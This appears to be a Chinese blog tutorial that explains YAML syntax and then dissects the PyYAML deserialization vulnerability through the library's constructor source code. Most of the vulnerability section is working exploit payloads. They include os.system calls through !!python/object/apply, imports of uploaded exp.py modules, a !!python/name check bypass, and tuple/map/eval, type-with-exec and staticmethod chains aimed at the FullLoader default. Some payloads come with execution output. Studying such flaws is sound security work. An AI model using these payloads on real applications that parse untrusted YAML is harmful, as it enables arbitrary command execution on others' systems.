YAML是一种人类可读的数据序列化格式,经常用于配置文件和数据交换。它的设计目标是易于阅读和编写,并且能够被不同编程语言支持的解析器解析。
首先还是阅读官方文档https://yaml.org/spec/1.2.2/
---
隔开多份配置YAML 支持以下几种数据类型:
name: ikun
age: 2.5
job: rapper
>>>{'name': ikun, 'age':2.5, 'job': 'rapper'}
-123
-12
-1
yaml中有以下基本类型:
使用了&
*
<<
& 用来建立锚点(defaults),<< 表示合并到当前数据,***** 用来引用锚点。
defaults: &defaults
adapter: postgres
host: localhost
development:
database: myapp_development
<<: *defaults
test:
database: myapp_test
<<: *defaults
相当于
defaults:
adapter: postgres
host: localhost
development:
database: myapp_development
adapter: postgres
host: localhost
test:
database: myapp_test
adapter: postgres
host: localhost
这个例子就可以很明确的理解引用的这个概念了。
使用的是!!
比如我们将int类型转化成str类型
str: !!str 123
>>>
{'str': '123'}
以及一些Yaml与python类型转化
YAML | Python |
---|---|
!!python/name:module.name | module.name |
!!python/module:package.module | package.module |
!!python/object:module.cls | module.cls instance |
!!python/object/new:module.cls | module.cls instance |
!!python/object/apply:module.f | value of f(…) |
顾名思义就是在同一个yaml文件下存在多个yaml内容用-
分段
---
name: ikun
age: 2.5
hob:rap
---
name: lituer
age: 19
这是就有用load_all()后面会说到
版本信息:PyYaml<5.1
测试版本 PyYaml=4.2b4
这只之前,我们先把目光放到yaml基础知识中的类型转化模块,我们来深究一些其中的原理
通过dubug跳入到constructor.py中,在constructor.py模块中存在SafeConstructor.add_constructor
我们可以通过它来寻找类型转化所对应的函数。就比如下面的例子
import yaml
yaml.load('!!str 123')
对应的函数就是construct_yaml_str
def construct_yaml_str(self, node):
return self.construct_scalar(node)
参数node
跟进construct_scalar
函数
def construct_scalar(self, node):
if isinstance(node, MappingNode):
for key_node, value_node in node.value:
if key_node.tag == 'tag:yaml.org,2002:value':
return self.construct_scalar(value_node)
return super().construct_scalar(node)
继续跟进在这个函数下得construct_scalar
def construct_scalar(self, node):
if not isinstance(node, ScalarNode):
raise ConstructorError(None, None,
"expected a scalar node, but found %s" % node.id,
node.start_mark)
return node.value
最终转化成功
对于PyYaml<5.1版本下得漏洞,其主要愿意主要出现在下面五个python标签:
python/name
python/module
python/object
python/object/new
python/object/apply
在PyYaml<5.1版本中定义yaml.load
和yaml.load_all
来实现
yaml.load(data,Loader=) # 加载单个 YAML 配置
yaml.load_all(data) # 加载多个 YAML 配置
Loader参数指定加载器,在当前版本中加载器一共存在三个分别是BaseConstructor,SafeConstructor,Constructor
Constructor:5.1版本一下默认此加载器,在 YAML 规范上新增了很多强制类型转换
BaseConstructor:不支持强制类型转换
SafeConstructor:支持强制类型转换和 YAML 规范保持一致
由于上面提到得五个标签,在constructor.py文件被加载器解析导致,攻击者利用这类标签可以达到任意命令执行,以及验证绕过等漏洞得利用。
下面我们进入dubug跟进以下源码,来分析漏洞得成因
payload:
yaml.load('!!python/object/apply:os.system ["whoami"]')
yaml.load("""
!!python/object/apply:os.system
- whoami
""")
在constructor.py找到对应函数
def construct_python_object_apply(self, suffix, node, newobj=False):
# Format:
# !!python/object/apply # (or !!python/object/new)
# args: [ ... arguments ... ]
# kwds: { ... keywords ... }
# state: ... state ...
# listitems: [ ... listitems ... ]
# dictitems: { ... dictitems ... }
# or short format:
# !!python/object/apply [ ... arguments ... ]
# The difference between !!python/object/apply and !!python/object/new
# is how an object is created, check make_python_instance for details.
if isinstance(node, SequenceNode):
# 如果节点为序列类型,则初始化参数、关键字、状态、列表和字典为空
args = self.construct_sequence(node, deep=True)
kwds = {}
state = {}
listitems = []
dictitems = {}
else:
# 如果节点为映射类型,则从值中提取参数、关键字、状态、列表和字典,其实就反应了该类标签所可以接受得参数类型。
value = self.construct_mapping(node, deep=True)
args = value.get('args', [])
kwds = value.get('kwds', {})
state = value.get('state', {})
listitems = value.get('listitems', [])
dictitems = value.get('dictitems', {})
instance = self.make_python_instance(suffix, node, args, kwds, newobj)
#如果存在创建 Python 对象实例
if state:
self.set_python_instance_state(instance, state)
if listitems:
instance.extend(listitems)
if dictitems:
for key in dictitems:
instance[key] = dictitems[key]
return instance
def construct_python_object_new(self, suffix, node):
return self.construct_python_object_apply(suffix, node, newobj=True)
我们可以发现在construct_python_object_new函数下调用了construct_python_object_apply,所以我们只来探讨python/object/apply即可,python/object/new预期同理。
然后进入make_python_instance函数,这个函数会根据参数来动态创建新的Python类对象或通过引用module的类创建对象,从而可以执行任意命令
def make_python_instance(self, suffix, node,
args=None, kwds=None, newobj=False):
if not args:
args = []
if not kwds:
kwds = {}
cls = self.find_python_name(suffix, node.start_mark)
if newobj and isinstance(cls, type):
return cls.__new__(cls, *args, **kwds)
else:
return cls(*args, **kwds)
中间时进入find_python_name函数
在about 532line的地方通过__import__
导入了模块。最终实现了任意命令执行。
该标签对应的函数时construct_python_module
def construct_python_module(self, suffix, node):
value = self.construct_scalar(node)
if value:
raise ConstructorError("while constructing a Python module", node.start_mark,
"expected the empty value, but found %r" % value, node.start_mark)
return self.find_python_module(suffix, node.start_mark)
我们可以看到这里最终调用了find_python_module函数,跟踪进去看一下
def find_python_module(self, name, mark):
if not name:
raise ConstructorError("while constructing a Python module", mark,
"expected non-empty name appended to the tag", mark)
try:
__import__(name)
except ImportError as exc:
raise ConstructorError("while constructing a Python module", mark,
"cannot find module %r (%s)" % (name, exc), mark)
return sys.modules[name]
功能已经很明显,就是起到一个引用的作用,与import等价
所以我们在当前目录下写一个exp.py
import os
os.system('whoami')
print('hacker!')
...
desktop-bt66bud\lituer
hacker!
当然我们放在别的目录下也是可以的(假设我们放在/upload/exp.py)、
import yaml
yaml.load('!!python/module:upload.exp')
也是可以执行的
python/name-->construct_python_name
源码
def construct_python_name(self, suffix, node):
value = self.construct_scalar(node)
if value:
raise ConstructorError("while constructing a Python name", node.start_mark,
"expected the empty value, but found %r" % value, node.start_mark)
return self.find_python_name(suffix, node.start_mark)
进入find_python_name方法
def find_python_name(self, name, mark):
if not name:
raise ConstructorError("while constructing a Python object", mark,
"expected non-empty name appended to the tag", mark)
if '.' in name:
module_name, object_name = name.rsplit('.', 1)
else:
module_name = 'builtins'
object_name = name
try:
__import__(module_name)
except ImportError as exc:
raise ConstructorError("while constructing a Python object", mark,
"cannot find module %r (%s)" % (module_name, exc), mark)
module = sys.modules[module_name]
if not hasattr(module, object_name):
raise ConstructorError("while constructing a Python object", mark,
"cannot find %r in the module %r"
% (object_name, module.__name__), mark)
return getattr(module, object_name)
我们回顾一下,我们上面讲的construct_python_object_apply方法,也是会进入这个方法进行操作,那是不是我们的用法也有相似之处呢?
import yaml
key= "114514"
b= yaml.load('!!python/name:__main__.key' )
if b == key:
print("ikun")
else:
print("you are not ikun")
>>>
ikun
我们可以通过这个例子直观的看出功能(!!python/name:module.name module.name
)。在这里面key定义在当前作用域内,我们无需知道key的内容就可以绕过检测,同样的如果key不在当前作用域中可是可以通过这个方法来绕过给检测。
我们可以发现python/name和python/module的源码中都没有可以实现直接执行命令,都是起到了一个import的作用,不过我们应该注意的是这两者的用法还是有些不同的,如下
!!python/name:module.name module.name
!!python/module:package.module package.module
python/object/apply:
yaml.load('!!python/object/apply:os.system ["whoami"]')
yaml.load("""
!!python/object/apply:os.system
- whoami
""")
python/name&python/module&python/object
上传exp.py到upload(具体情况具体决定)
├── main.py
└── uploads
└── exp.py
yaml.load("!!python/module:upload.exp" )
yaml.load("!!python/object:upload.exp.ikun" )
yaml.load("!!python/name:upload.ikun" )
#ikun这是为了符合命名规则,防止报错,无实际意义,下面的同样{}也是。
yaml.load('!!python/object/apply:upload.exp {}' )
yaml.load('!!python/object/new:upload.exp {}' )
测试版本:PyYaml5.1
针对PyYaml<5.1版本的漏洞,官方给find_python_name方法添加了unsafe=False
导致我们不能直接通过__import__
来引入模块。
并且在PyYAML>=5.1版本中,将默认加载器调整为FullConstructor
,没有指定
FullConstructor.add_multi_constructor(
'tag:yaml.org,2002:python/name:',
FullConstructor.construct_python_name)
关于所以加载器如下
BaseConstructor:仅加载最基本的YAML
SafeConstructor:安全加载Yaml语言的子集,建议用于加载不受信任的输入(safe_load)
FullConstructor:加载的模块必须位于 sys.modules 中(说明程序已经 import 过了才让加载)。这个是默认的加载器。
UnsafeConstructor(也称为Loader向后兼容性):原始的Loader代码,可以通过不受信任的数据输入轻松利用(unsafe_load)
Constructor:等同于UnsafeConstructor
当前版本的引用方法
yaml.full_load
yaml.full_load_all
yaml.unsafe_load
yaml.unsafe_load_all
最简单的利用方法
yaml.unsafe_load(paylaod)
yaml.load(payload,Loader=UnsafeLoader)
但是大多情况下不可能这么傻,所以我们要考虑的是如何在默认加载器的情况下,如何实现任意命令执行
首先我们先来看在FullConstructor加载器下都添加了那些限制:
跟进限制内容,说明我们需要在builtins中寻找我我们需要的方法名
ModuleSpec(name='builtins', loader=, origin='built-in')
我们挑选出map来触发函数执行,tuple来将内容输出(其实还要list,set这些方法,但是这里我们使用了他们是没有回显的,我们后面深究其原因。)
这是我们要执行的原函数
tuple(map(eval, ["__import__('os').system('whoami')"]))
然后我们就可以手动拼接yaml语句
yaml.load("""
!!python/object/new:tuple
- !!python/object/new:map
- !!python/name:eval
- ["__import__('os').system('whoami')"]
""")
我们使用set的话,就会没有回显,如果说这段代码可执行到map中,那么我们的结果中肯定是有回显结果的,没有回显只能说明后面的map方法没有被调用或者被覆盖了。我们debug进入make_python_instance方法下
__new__
方法 是一个在对象创建之前调用的静态方法,用于创建对象实例并返回该实例。它负责对象的创建过程,并接收类作为第一个参数(通常是cls
),这通过这个方法后,我们的源代码其实就变成了tuple.__new__(tuple, map(eval,['__import__("os").system("whoami")']))``list.__new__(list, map(eval, ['__import__("os").system("whoami")']))
在python的底层原理中,list 和 tuple 它们在内存中的存储方式有所不同:
由于元组是不可变的,因此在创建元组时就需要提供元素。创建元组的过程涉及调用元组类的 __new__
方法来创建实例,并将元素作为参数传递给 __new__
方法,然后再调用 __init__
方法进行初始化。因此,元组的元素是在 __new__
和 __init__
阶段都得到了传递和处理的。
列表的创建过程也类似,但由于列表是可变的,因此在创建列表时不需要提供元素。列表的 __new__
方法会创建一个空的列表实例,
这就是为什么list方法没有回显的原因。为了避免这个问题,我们可以使用不可变类型的(frozenset
、bytes
、tuple
)。
当然还要更进阶的payload,
在construct_python_object_apply
中如果存在listitems就会调用extend方法
if listitems:
nstance.extend(listitems)
if dictitems:
原始payload:
exp = type("exp", (), {"extend": eval})
exp.extend("__import__('os').system('whoami')")
创建了一个名为exp
的类,并给它添加了一个名为extend
的方法。extend
方法的实现是通过eval
函数执行传入的代码(实际意义是把eval代替extend)。
既然这里把extend视为eval来用,那么我们上面的那段代码实际上就变成了nstance.eval(listitems)
下面是构造的paylaod
!!python/object/new:type
args:
- exp
- !!python/tuple []
- {"extend": !!python/name:exec }
listitems: "__import__('os').system('whoami')"
或者这样
!!python/object/new:type
args: ["exp", !!python/tuple [], {"extend": !!python/name:exec }]
listitems: "__import__('os').system('whoami')"
还有组合拳
import yaml
payload = """
- !!python/object/new:str
args: []
state: !!python/tuple
- "__import__('os').system('whoami')"
- !!python/object/new:staticmethod
args: [0]
state:
update: !!python/name:exec
"""
yaml.load(payload)
参考:
PyYAML反序列化漏洞 - DAMOXILAI - 博客园 (cnblogs.com)
浅谈PyYAML反序列化漏洞 - 先知社区 (aliyun.com)
5 篇文章
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!